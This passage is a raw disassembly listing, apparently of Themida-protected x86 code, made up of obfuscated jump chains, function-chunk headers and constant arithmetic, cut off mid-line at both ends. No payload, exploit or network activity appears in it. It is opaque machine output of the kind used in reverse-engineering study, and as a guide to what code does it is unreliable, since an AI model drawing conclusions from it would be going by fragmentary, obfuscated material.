BYTES ; FUNCTION CHUNK AT 00591961 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005919AD SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00591B5B SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00591F17 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005922F1 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059233B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005923DB SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00592469 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059275C SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00592FE8 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0059314C SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00593165 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059337B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00593765 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005939F4 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00593C0E SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00593E9B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00593EB6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00593FF2 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00594144 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00594356 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059460E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00594719 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00594A3E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00594A6C SIZE 00000051 BYTES ; FUNCTION CHUNK AT 00594BC3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0059518A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00595572 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005955E8 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0059593B SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00595BF2 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00595CEB SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00595E16 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00595E4C SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059626C SIZE 0000002F BYTES ; FUNCTION CHUNK AT 00596445 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0059665C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00596737 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005967C8 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 005969BC SIZE 0000002E BYTES ; FUNCTION CHUNK AT 00596ACF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00596B5D SIZE 0000002E BYTES ; FUNCTION CHUNK AT 00596C87 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00596D0E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005971F4 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00597396 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005975C4 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0059775B SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00597961 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059798B SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00597CC8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00597CF6 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00597D55 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00597F3B SIZE 00000008 BYTES sub esp, 4 jmp loc_58B690 sub_58F5B5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_58F5C0: ; CODE XREF: Themida_:0058A9BFj jmp loc_594DD6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58F5C5: ; CODE XREF: sub_58C17E+5C73j sub ebx, 2C425684h add ebx, esi push ebp jmp loc_58D5E1 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58F5D3: ; CODE XREF: sub_590467+5FD9j mov ah, 0E1h mov dh, 8Dh xor dh, ah pop eax xor dh, cl jmp loc_58F219 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_58F5E1: ; CODE XREF: Themida_:00596624j pop ecx push esi mov esi, 12BA440Eh jmp loc_58C738 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592D25 loc_58F5ED: ; CODE XREF: sub_592D25+1Bj mov edx, [esp+0] add esp, 4 mov ecx, ebp pop ebp mov eax, ecx push [esp-14h+arg_10] pop ecx push 314Bh mov [esp+0], edx jmp loc_590522 ; END OF FUNCTION CHUNK FOR sub_592D25 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58F609: ; CODE XREF: sub_58C17E-1430j and ebp, 0ECD0C66h jmp loc_597634 ; --------------------------------------------------------------------------- loc_58F614: ; CODE XREF: sub_58C17E+A4Ej sub ecx, 31B152B2h jmp loc_5911AA ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_58F61F: ; CODE XREF: Themida_:0058AC12j pop ebp jmp loc_58BD3B ; --------------------------------------------------------------------------- mov cx, [esp] push 3261h mov [esp], edx jmp loc_594903 ; --------------------------------------------------------------------------- loc_58F636: ; CODE XREF: Themida_:005971EFj jnz loc_58E14D xor ah, 41h mov dl, ah pop eax xchg bl, dl not bl jmp loc_58F74F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EB1F loc_58F64B: ; CODE XREF: sub_58EB1F-334Cj mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_58A6BF ; END OF FUNCTION CHUNK FOR sub_58EB1F ; --------------------------------------------------------------------------- loc_58F65B: ; CODE XREF: Themida_:0058B421j sub ebx, esi pop esi mov ebp, [esp] add esp, 4 sub ebx, 76F94A30h sub ebx, eax add ebx, 76F94A30h jmp loc_5923FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58F677: ; CODE XREF: sub_5916CB-2143j ; sub_58F5B5+4A51j push 30EAh mov [esp+14h+var_14], edx push 170115Fh pop edx push 171115Fh mov ecx, [esp+0] push edx jmp loc_59775B ; --------------------------------------------------------------------------- loc_58F693: ; CODE XREF: sub_58F5B5-4299j push ecx mov ecx, 1 and eax, ecx jmp loc_594144 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_58F6A0: ; CODE XREF: sub_59762D-5AEFj jz loc_58CB26 sub edx, 7C198C65h jmp loc_597B29 ; --------------------------------------------------------------------------- loc_58F6B1: ; CODE XREF: sub_59762D-9D6Fj jmp loc_58FE55 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- loc_58F6B6: ; CODE XREF: Themida_:0058D211j xor ebx, 3D0C1D82h pop eax add edx, ebx mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp mov ax, [esp] jmp loc_59144D ; --------------------------------------------------------------------------- loc_58F6E5: ; CODE XREF: Themida_:00591DE7j pop esi add ebp, ecx pop ecx jmp loc_596AB2 ; --------------------------------------------------------------------------- loc_58F6EE: ; CODE XREF: Themida_:00596300j neg eax shl eax, 5 push ebx mov ebx, 0EDDBFB67h xor eax, ebx pop ebx sub ebp, eax pop eax jmp loc_593120 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58F704: ; CODE XREF: sub_58F5B5+2403j shr ebx, 2 neg ebx push ecx mov ecx, 4E0C059Ah sub ecx, 1 dec ecx push ebp mov ebp, 1A5AFFD5h add ecx, ebp jmp loc_592469 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_58F720: ; CODE XREF: sub_59762D-7110j sub bl, dl pop edx add bl, al add bl, 48h push edx push eax jmp loc_59229D ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_58F72F: ; CODE XREF: sub_5938B9:loc_59791Cj neg ecx jmp loc_595365 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58F736: ; CODE XREF: sub_58F5B5+3DCCj push 15A0h mov [esp+14h+var_14], esi mov esi, 32694EF8h jmp loc_58F413 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58F748: ; CODE XREF: sub_5EC2E8-61258j pop edx push ebx jmp loc_58C584 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_58F74F: ; CODE XREF: Themida_:0058EF16j ; Themida_:0058F646j ... push ecx jmp loc_591529 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592D25 loc_58F755: ; CODE XREF: sub_592D25-8E4j sub edi, 152347F4h jmp loc_5930F5 ; END OF FUNCTION CHUNK FOR sub_592D25 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_58F760: ; CODE XREF: sub_5938B9-10A9j sub ecx, 2772EBF7h and ecx, 3A3D56A7h add ecx, 3404EA63h jmp loc_58BAFA ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- loc_58F777: ; CODE XREF: Themida_:005935A1j add dh, 62h and cl, dh pop edx dec cl jmp loc_58A8B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58F784: ; CODE XREF: sub_590010-2275j sub eax, edi pop edi sub ecx, 9B24B80h jmp loc_592F04 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_58F792: ; CODE XREF: Themida_:0059795Cj mov eax, 1D40660h jmp loc_58D132 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58F79C: ; CODE XREF: sub_58F5B5-1512j mov dx, [esp+0] jmp loc_5971F4 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58F7A5: ; CODE XREF: sub_58C17E-1A0j ; sub_58C17E+8683j mov edi, [esp+2+var_4+2] add esp, 4 add ebx, 4 xor ebx, [esp+0] jmp loc_591FFD ; --------------------------------------------------------------------------- loc_58F7BC: ; CODE XREF: sub_58C17E+957j mov [esp+0], edx push ebp mov ebp, 0A0A2104h shr ebp, 7 push edi push edx push ecx push 111E12D4h pop ecx shr ecx, 8 add ecx, 5B374AF2h mov edx, ecx pop ecx jmp loc_58DC87 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595655 loc_58F7E2: ; CODE XREF: sub_595655-915Bj pop ebx jmp loc_58A919 ; END OF FUNCTION CHUNK FOR sub_595655 ; --------------------------------------------------------------------------- loc_58F7E8: ; CODE XREF: Themida_:00590000j jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59524C loc_58F7ED: ; CODE XREF: sub_59524C-A276j ; Themida_:00594EEFj pop ecx pop esi and eax, ebx jmp loc_597A63 ; END OF FUNCTION CHUNK FOR sub_59524C ; --------------------------------------------------------------------------- loc_58F7F6: ; CODE XREF: Themida_:00594609j pop edi add edi, ecx jmp loc_58A465 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58F7FE: ; CODE XREF: sub_590010-22CFj pop esi push ecx mov ecx, 79E56337h or ecx, 7BE60B29h xor ecx, 60CF03D6h push esi jmp loc_58D1A1 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_58F817: ; CODE XREF: Themida_:00596A74j dec esi sub esp, 4 jmp loc_596C32 ; --------------------------------------------------------------------------- loc_58F820: ; CODE XREF: Themida_:0058D3CFj push 359Ah jmp loc_5953D4 ; --------------------------------------------------------------------------- loc_58F82A: ; CODE XREF: Themida_:00593B0Ej not bh jmp loc_590F2F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_58F831: ; CODE XREF: sub_595E21-4BDEj jmp loc_58DB75 ; END OF FUNCTION CHUNK FOR sub_595E21 ; =============== S U B R O U T I N E ======================================= sub_58F836 proc near ; CODE XREF: sub_59524C+23C2j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058A6B4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058BA29 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058E296 SIZE 00000044 BYTES ; FUNCTION CHUNK AT 0058ECE2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058FDEA SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00593728 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005940E2 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005949BA SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00595EED SIZE 00000035 BYTES ; FUNCTION CHUNK AT 00597BCD SIZE 0000001C BYTES push ebx mov ebx, esp push 1673h mov [esp+8+var_8], eax jmp loc_58ECE2 sub_58F836 endp ; --------------------------------------------------------------------------- loc_58F846: ; CODE XREF: Themida_:005944FDj not ebx add ebx, 41EA2DDDh jnb loc_58FE55 sub ebx, 296387ABh jmp loc_594390 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_58F85F: ; CODE XREF: sub_59762D-A735j add al, 0D5h jmp loc_5950C1 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- loc_58F866: ; CODE XREF: Themida_:0058CB66j push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 pop dword ptr [esp] pop esp shl word ptr [esp], cl pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_58F880: ; CODE XREF: Themida_:0058EC34j mov esp, [esp] mov [esp], edx mov dh, 23h sub al, 0C7h push ecx mov ch, 0ABh jmp loc_591797 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58F892: ; CODE XREF: sub_5916C4-6BEDj ; sub_58C17E-3E7j push eax push esp pop eax jmp sub_598028 ; --------------------------------------------------------------------------- loc_58F89A: ; CODE XREF: sub_58C17E+71D6j ; Themida_:00593F81j mov edi, 41857CC7h sub edi, 6015400Fh sub edi, 75D5FDB1h add ebp, 21E10BF1h add ebp, edi sub ebp, 21E10BF1h pop edi pop edi xchg ebp, [esp-0Eh+arg_8+2] jmp loc_5907CB ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58F8C3: ; CODE XREF: sub_5916C4-22CFj add esp, 4 jmp loc_596655 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_58F8CB: ; CODE XREF: Themida_:0059196Bj sub esp, 4 mov [esp], ebp jmp loc_595586 ; --------------------------------------------------------------------------- loc_58F8D6: ; CODE XREF: Themida_:0059087Aj shl edi, 2 xor edi, 69F64C40h sub edi, 0BC552E4Bh add dword ptr [esp+8], 48EC0BCAh jmp loc_5922B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595258 loc_58F8F2: ; CODE XREF: sub_595258-2385j ; Themida_:005956DFj add esp, 4 jmp loc_58EC6C ; END OF FUNCTION CHUNK FOR sub_595258 ; --------------------------------------------------------------------------- loc_58F8FA: ; CODE XREF: Themida_:00591655j push 6D3F7917h mov ebp, [esp] add esp, 4 shl ebp, 2 xor ebp, 0F058E962h jmp loc_596F09 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595258 loc_58F916: ; CODE XREF: sub_595258-225Dj push edi mov edi, 1A1D0207h sub edi, 0EFE6DBD5h jmp loc_58C673 ; END OF FUNCTION CHUNK FOR sub_595258 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58F927: ; CODE XREF: sub_58F5B5-2FD2j shr eax, 2 jnp loc_591961 jmp loc_58A689 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- pop esi pop ebp add [esp], eax mov ebx, ebp mov ah, 8Ch loc_58F93E: ; CODE XREF: Themida_:0058B10Cj push eax mov eax, 4A2F1122h not eax jmp loc_58DE53 ; --------------------------------------------------------------------------- loc_58F94B: ; CODE XREF: Themida_:005915A5j xchg edx, [esp] pop esp jmp loc_58D788 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595655 loc_58F954: ; CODE XREF: sub_595655-83C7j pop esi or eax, eax jz loc_595DFB push 3E0Ah mov [esp+0], edx push ebx push 51A44F84h jmp loc_58D526 ; END OF FUNCTION CHUNK FOR sub_595655 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58F970: ; CODE XREF: sub_58C17E+1j mov ebx, 55B82FCCh sub ebx, 5CCD7ADBh jp loc_58E507 neg ebx xor ebx, 7154B0Bh jmp loc_596BCA ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- push dword ptr [edx] jmp loc_58A2CE ; --------------------------------------------------------------------------- mov sp, [esp] jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_58F99E: ; CODE XREF: sub_5938B9-2127j add esp, 4 xor esi, ecx push dword ptr [esp+0] jmp loc_595BE2 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- loc_58F9AE: ; CODE XREF: Themida_:005942ADj ja loc_58E76D shr edi, 6 sub edi, 71E80F89h mov ch, bh push esi loc_58F9C0: ; CODE XREF: Themida_:0058B6DCj push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push eax mov eax, 4 add ecx, 17AA6E21h jmp loc_597921 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58F9E1: ; CODE XREF: sub_590467-4F96j pop esi sub ebx, edi pop edi shr ebx, 1 sub ebx, 0D1735182h add eax, ebx mov ebx, [esp+0] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+0] jmp loc_58E77B ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_58FA09: ; CODE XREF: Themida_:00593F6Ej push ebx push edx mov dh, 2 sub dh, 0B5h jg loc_5968D9 shl dh, 3 shl dh, 3 mov ah, al mov ebx, esi ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58FA20: ; CODE XREF: sub_58C17E+98A2j xchg edx, ecx jmp loc_5923CB ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_58FA27: ; CODE XREF: Themida_:0058E755j push dword ptr [edi+1Ch] popf pop cx rcr dword ptr [esp], cl pushf jmp loc_58C34D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58FA36: ; CODE XREF: sub_58C17E+5A63j add esp, 4 add eax, edi pop edi xor ecx, eax pop eax push ebx jmp sub_58D99C ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_58FA45: ; CODE XREF: Themida_:0058E053j sub ebx, 152F0EE6h or edx, ebx jmp loc_58B684 ; --------------------------------------------------------------------------- loc_58FA52: ; CODE XREF: Themida_:00591856j mov bh, 0EFh jmp loc_58BBDF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59524C loc_58FA59: ; CODE XREF: sub_59524C-1F00j not ebp xchg ebp, ecx jmp loc_595B92 ; END OF FUNCTION CHUNK FOR sub_59524C ; --------------------------------------------------------------------------- loc_58FA62: ; CODE XREF: Themida_:00595A7Ej dec ebp or ebp, 7F3924F7h add ebp, 6E616A60h xor ebp, 0ED9A995Bh jmp loc_58CF2D ; --------------------------------------------------------------------------- mov ecx, [esp] push 1608h mov [esp], eax push 6D2h mov [esp], esp add dword ptr [esp], 4 mov eax, [esp] add esp, 4 push ebp mov ebp, 6ECF6D6Ch sub ebp, 8914A7h sub ebp, 325F4BD7h jmp loc_58E33F ; --------------------------------------------------------------------------- mov cx, [esp] push ebp mov ebp, esp push ecx mov ecx, 4CEA5FA3h dec ecx neg ecx neg ecx xor ecx, 4CEA5FA6h add ebp, ecx pop ecx jmp loc_58A629 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58FAD1: ; CODE XREF: sub_5916C4+1E41j add esi, 0DC354A61h jmp loc_594AFD ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_58FADC: ; CODE XREF: Themida_:0058BE8Ej pop ebp add ebp, 4 push ecx mov ecx, 1A02727Eh shl ecx, 8 js loc_58A954 and ecx, 70794FC8h jmp loc_590FB4 ; --------------------------------------------------------------------------- loc_58FAFD: ; CODE XREF: Themida_:0058ECC8j sub edi, 30982DD2h pop eax jmp loc_593D6A ; --------------------------------------------------------------------------- loc_58FB09: ; CODE XREF: Themida_:00593B75j push edi mov edi, 3B6C2E8Ah jmp loc_595DC9 ; --------------------------------------------------------------------------- loc_58FB14: ; CODE XREF: Themida_:0058B4F6j add dword ptr [esp], 4 push dword ptr [esp] jmp loc_592067 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58FB23: ; CODE XREF: Themida_:0058C0FEj ; sub_58F5B5-1FA0j mov edx, edi pop edi jmp loc_595BF2 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_58FB2B: ; CODE XREF: Themida_:0058BA0Dj push ebx mov ebx, 134F098Fh xchg esi, ebx not esi jmp loc_595C01 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58FB3A: ; CODE XREF: sub_58C17E+4FADj push 6D98h mov [esp-6+arg_0+2], ecx jmp loc_58BE3C ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58FB47: ; CODE XREF: sub_590467+1DF1j ; sub_5EC2E8-57AF8j push 444Fh push esp jmp loc_58FFA2 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_58FB52: ; CODE XREF: Themida_:0058AD86j xor eax, ebx jmp loc_58B58C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58FB59: ; CODE XREF: sub_590467-32E5j add cl, 0F9h mov bh, cl push [esp-4+arg_0] jmp loc_58D24D ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E3A6 loc_58FB66: ; CODE XREF: sub_58E3A6+894Bj shl ebp, 3 not ebp add ebp, 5B9118BAh sub ebp, 32077BB1h add edx, ebp jmp loc_597961 ; END OF FUNCTION CHUNK FOR sub_58E3A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58FB7E: ; CODE XREF: sub_5916C4+43F1j add ebx, esi pop esi jmp loc_59596D ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_58FB86: ; CODE XREF: sub_59762D-91D8j add bl, 3Bh jmp loc_5921E7 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- loc_58FB8E: ; CODE XREF: Themida_:0059640Cj add esi, eax add esi, 6CBF4333h sub esi, 4E855C38h add esi, 3955015Ch push 50E0h mov [esp], edx jmp loc_58D9E0 ; --------------------------------------------------------------------------- loc_58FBAF: ; CODE XREF: Themida_:00593B8Ej ; Themida_:005955CCj sub ecx, 4 jmp loc_58D87A ; --------------------------------------------------------------------------- loc_58FBBA: ; CODE XREF: Themida_:0058E9B4j pop esp mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push 0E79h jmp loc_59048F ; --------------------------------------------------------------------------- loc_58FBD7: ; CODE XREF: Themida_:00594122j mov ecx, 1A247190h not ecx add ecx, 78DB56D1h jmp loc_596080 ; --------------------------------------------------------------------------- mov ax, [esp] push edi mov edi, esp add edi, 4 sub esp, 4 mov [esp], edx push edi mov edi, 5296C71h jmp loc_58D7C8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58FC07: ; CODE XREF: sub_58C17E-296j xor esi, edi mov edi, [esp+6+var_8+2] add esp, 4 add eax, esi pop esi jmp loc_593495 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_58FC17: ; CODE XREF: Themida_:00590F3Aj sub esp, 4 mov [esp], eax mov al, bh jmp loc_58F061 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58FC27: ; CODE XREF: sub_59762D-8983j ; sub_58C17E+AB6Cj add edi, ebx pop ebx xor edi, [esp-6+arg_0+2] jmp loc_58BB94 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ebp jmp loc_58D89E ; --------------------------------------------------------------------------- loc_58FC44: ; CODE XREF: Themida_:0058E170j add ecx, 7BF363Eh add ebx, 29745327h sub ebx, ecx sub ebx, 29745327h mov ecx, [esp] jmp loc_58DDA0 ; --------------------------------------------------------------------------- loc_58FC60: ; CODE XREF: Themida_:005954D5j push edx push ebp sub esp, 4 mov [esp], eax mov eax, 5F13FA8h jmp loc_597132 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5909B4 loc_58FC72: ; CODE XREF: sub_5909B4-37F0j pop ebp xchg ebx, [esp-0Ch+arg_8] mov esp, [esp-0Ch+arg_8] mov word ptr [esp-0Ch+arg_8], dx jmp loc_590FFA ; END OF FUNCTION CHUNK FOR sub_5909B4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58FC82: ; CODE XREF: sub_590010-5A5Cj pop ebx pop esi add ebx, eax pop eax push edx push edi mov edi, 6B5762Eh jmp loc_58DC29 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58FC93: ; CODE XREF: sub_5916C4-135Bj xor edx, 47F78C97h mov edi, edx mov edx, [esp-10h+arg_C] add esp, 4 shl edi, 3 jns loc_592DFF shr edi, 6 jmp loc_58BD1E ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58FCB2: ; CODE XREF: sub_590467+1A53j pop edi dec ebx sub ebx, 0D413CFEh add ecx, ebx jmp loc_58C243 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58FCC1: ; CODE XREF: sub_5916C4-14ACj dec eax push ebx mov ebx, 1 sub eax, ebx jmp loc_5914C9 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_58FCCF: ; CODE XREF: sub_59762D-6C34j jmp loc_58EC9E ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58FCD4: ; CODE XREF: sub_58F5B5+7236j add esp, 4 push ebx mov ebx, 7EA356BEh xor ebx, 7EA356BAh add ebp, ebx mov ebx, [esp-4+arg_0] add esp, 4 push eax mov eax, 4 add ebp, eax pop eax xor ebp, [esp-8+arg_4] xor [esp-8+arg_4], ebp xor ebp, [esp-8+arg_4] pop esp jmp loc_58B1C5 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_58FD09: ; CODE XREF: Themida_:00597227j add ebp, 168671BCh jmp loc_595821 ; --------------------------------------------------------------------------- loc_58FD14: ; CODE XREF: Themida_:0059585Dj shr ebx, 8 xor ebx, 21A65C5h push edi jmp loc_58ACCA ; --------------------------------------------------------------------------- loc_58FD23: ; CODE XREF: Themida_:00596E21j jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_58FD28: ; CODE XREF: sub_595BDA+709j ; sub_5938B9+3598j xor [esp+0], edi xor edi, [esp+0] pop esp push 4D6Dh jmp loc_5923C1 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595BDA loc_58FD39: ; CODE XREF: sub_595BDA+3j ; Themida_:0059623Aj mov [esp+0], ebx mov bh, 0C7h jmp loc_593ABC ; END OF FUNCTION CHUNK FOR sub_595BDA ; --------------------------------------------------------------------------- loc_58FD43: ; CODE XREF: Themida_:0059555Fj mov dh, 88h add dh, 0C3h inc dh jge loc_58EE1E and dh, 0A5h jnz loc_5962B1 push ebx push eax xor al, 89h mov edi, eax ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58FD5F: ; CODE XREF: sub_5916C4-414Dj push 6865h mov [esp+0], eax push 5FBh mov 